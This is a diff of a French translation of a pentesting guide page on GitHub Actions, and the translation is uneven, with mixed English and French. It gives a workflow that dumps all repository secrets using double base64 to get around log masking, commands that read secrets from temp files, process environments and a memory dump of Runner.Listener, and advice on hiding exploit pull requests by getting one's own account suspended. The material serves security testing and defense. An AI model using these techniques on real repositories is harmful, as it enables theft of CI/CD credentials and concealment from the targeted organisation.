+### Accès aux secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Si vous injectez du contenu dans un script, il est utile de savoir comment accéder aux secrets :
+Si vous injectez du contenu dans un script, il est intéressant de savoir comment vous pouvez accéder aux secrets :
 
-- Si le secret ou le token est défini dans une **variable d'environnement**, il peut être accédé directement via l'environnement en utilisant **`printenv`**.
+- Si le secret or token est défini comme une **variable d'environnement**, il est accessible directement via l'environnement en utilisant **`printenv`**.
 
 <details>
 
@@ -526,15 +525,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- Si le secret est utilisé **directly in an expression**, le script shell généré est stocké **on-disk** et est accessible.
+- Si le secret est utilisé **directement dans une expression**, le script shell généré est stocké **sur le disque** et est accessible.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- For a JavaScript actions the secrets are sent through environment variables
+- Pour une action JavaScript, les secrets sont transmis via des variables d'environnement
 - ```bash
 ps axe | grep node
 ```
-- For a **custom action**, le risque peut varier selon la façon dont un programme utilise le secret qu'il a obtenu depuis l'**argument**:
+- Pour une **custom action**, le risque peut varier selon la manière dont un programme utilise le secret qu'il a obtenu depuis l'**argument** :
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -542,7 +541,7 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-- Énumérez tous les secrets via le secrets context (collaborator level). Un contributeur avec write access peut modifier un workflow sur n'importe quelle branche pour dumper tous les repository/org/environment secrets. Utilisez double base64 pour contourner le masquage des logs de GitHub et décoder localement:
+- Énumérer tous les secrets via le secrets context (niveau collaborator). Un contributeur avec accès en écriture peut modifier un workflow sur n'importe quelle branche pour dumper tous les secrets du repository/org/environment. Utilisez un double base64 pour échapper au masquage des logs de GitHub et décodez localement :
 
 ```yaml
 name: Steal secrets
@@ -558,31 +557,31 @@ run: |
 echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
 ```
 
-Decode locally:
+Décoder localement :
 
 ```bash
 echo "ZXdv...Zz09" | base64 -d | base64 -d
 ```
 
-Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
+Astuce : pour rester discret pendant les tests, cryptez avant d'afficher (openssl est préinstallé sur les GitHub-hosted runners).
 
 ### Abusing Self-hosted runners
 
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
+La manière de trouver quelles **Github Actions sont exécutées dans une infrastructure non-github** est de rechercher **`runs-on: self-hosted`** dans le YAML de configuration de la Github Action.
 
-**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **voler les secrets** of the other one.
+**Self-hosted** runners pourraient avoir accès à des **informations supplémentaires sensibles**, à d'autres **systèmes réseau** (endpoints vulnérables dans le réseau ? metadata service ?) ou, même s'il est isolé et détruit, **plus d'une action pourrait s'exécuter en même temps** et celle malveillante pourrait **voler les secrets** de l'autre.
 
-In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
+Dans les self-hosted runners il est aussi possible d'obtenir les **secrets from the \_Runner.Listener\_\*\* process\*\*** qui contiendra tous les secrets des workflows à n'importe quelle étape en vidant sa mémoire :
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Consultez [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
 ### Registre d'images Docker Github
 
-Il est possible de créer des Github actions qui vont **construire et stocker une Docker image à l'intérieur de Github**.\
-Un exemple se trouve dans l'élément extensible suivant :
+Il est possible de créer des Github Actions qui vont **build and store a Docker image inside Github**.\
+Un exemple se trouve dans l'élément dépliable suivant :
 
 <details>
 
@@ -617,14 +616,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-Comme vous pouvez le voir dans le code précédent, le registre Github est hébergé sur **`ghcr.io`**.
+Comme vous pouvez le voir dans le code précédent, le Github registry est hébergé en **`ghcr.io`**.
 
-Un utilisateur avec des permissions de lecture sur le repo pourra alors télécharger la Docker Image en utilisant un personal access token:
+Un utilisateur avec read permissions sur le repo pourra alors télécharger le Docker Image en utilisant un personal access token :
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-Ensuite, l'utilisateur pourrait rechercher **leaked secrets in the Docker image layers:**
+Then, the user could search for **leaked secrets in the Docker image layers:**
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -632,16 +631,16 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
 
 ### Informations sensibles dans les logs de Github Actions
 
-Même si **Github** tente de **détecter des valeurs secrètes** dans les logs des actions et **éviter de les afficher**, **d'autres données sensibles** qui auraient pu être générées lors de l'exécution de l'action ne seront pas masquées. Par exemple, un JWT signé avec une valeur secrète ne sera pas masqué à moins qu'il ne soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Même si **Github** essaie de **détecter des valeurs secrètes** dans les logs des actions et **éviter de les afficher**, **d'autres données sensibles** qui pourraient avoir été générées lors de l'exécution de l'action ne seront pas masquées. Par exemple, un JWT signé avec une valeur secrète ne sera pas masqué à moins qu'il ne soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
-## Couvrir vos traces
+## Cacher vos traces
 
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR créée est clairement visible du public sur Github et sur le compte GitHub ciblé. Par défaut, dans GitHub, nous **ne pouvons pas supprimer une PR d'internet**, mais il y a une astuce. Pour les comptes Github qui sont **suspendus** par Github, toutes leurs **PRs sont automatiquement supprimées** et retirées d'internet. Donc, pour cacher votre activité vous devez soit faire suspendre votre **compte GitHub** ou faire signaler votre compte. Cela **cacherait toutes vos activités** sur GitHub d'internet (supprimerait essentiellement tous vos exploit PR)
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR créée est clairement visible publiquement sur Github et par le compte GitHub ciblé. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
 
-Une organisation sur GitHub est très proactive pour signaler des comptes à GitHub. Tout ce que vous avez à faire est de partager “some stuff” dans un Issue et ils s'assureront que votre compte soit suspendu en 12 heures :p et voilà, votre exploit rendu invisible sur github.
+An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
 
 > [!WARNING]
-> La seule façon pour une organisation de déterminer qu'elle a été ciblée est de vérifier les logs GitHub depuis le SIEM, car depuis l'UI de GitHub la PR serait supprimée.
+> Le seul moyen pour une organisation de se rendre compte qu'elle a été ciblée est de vérifier les logs GitHub depuis le SIEM car depuis l'UI GitHub la PR serait supprimée.
 
 ## Références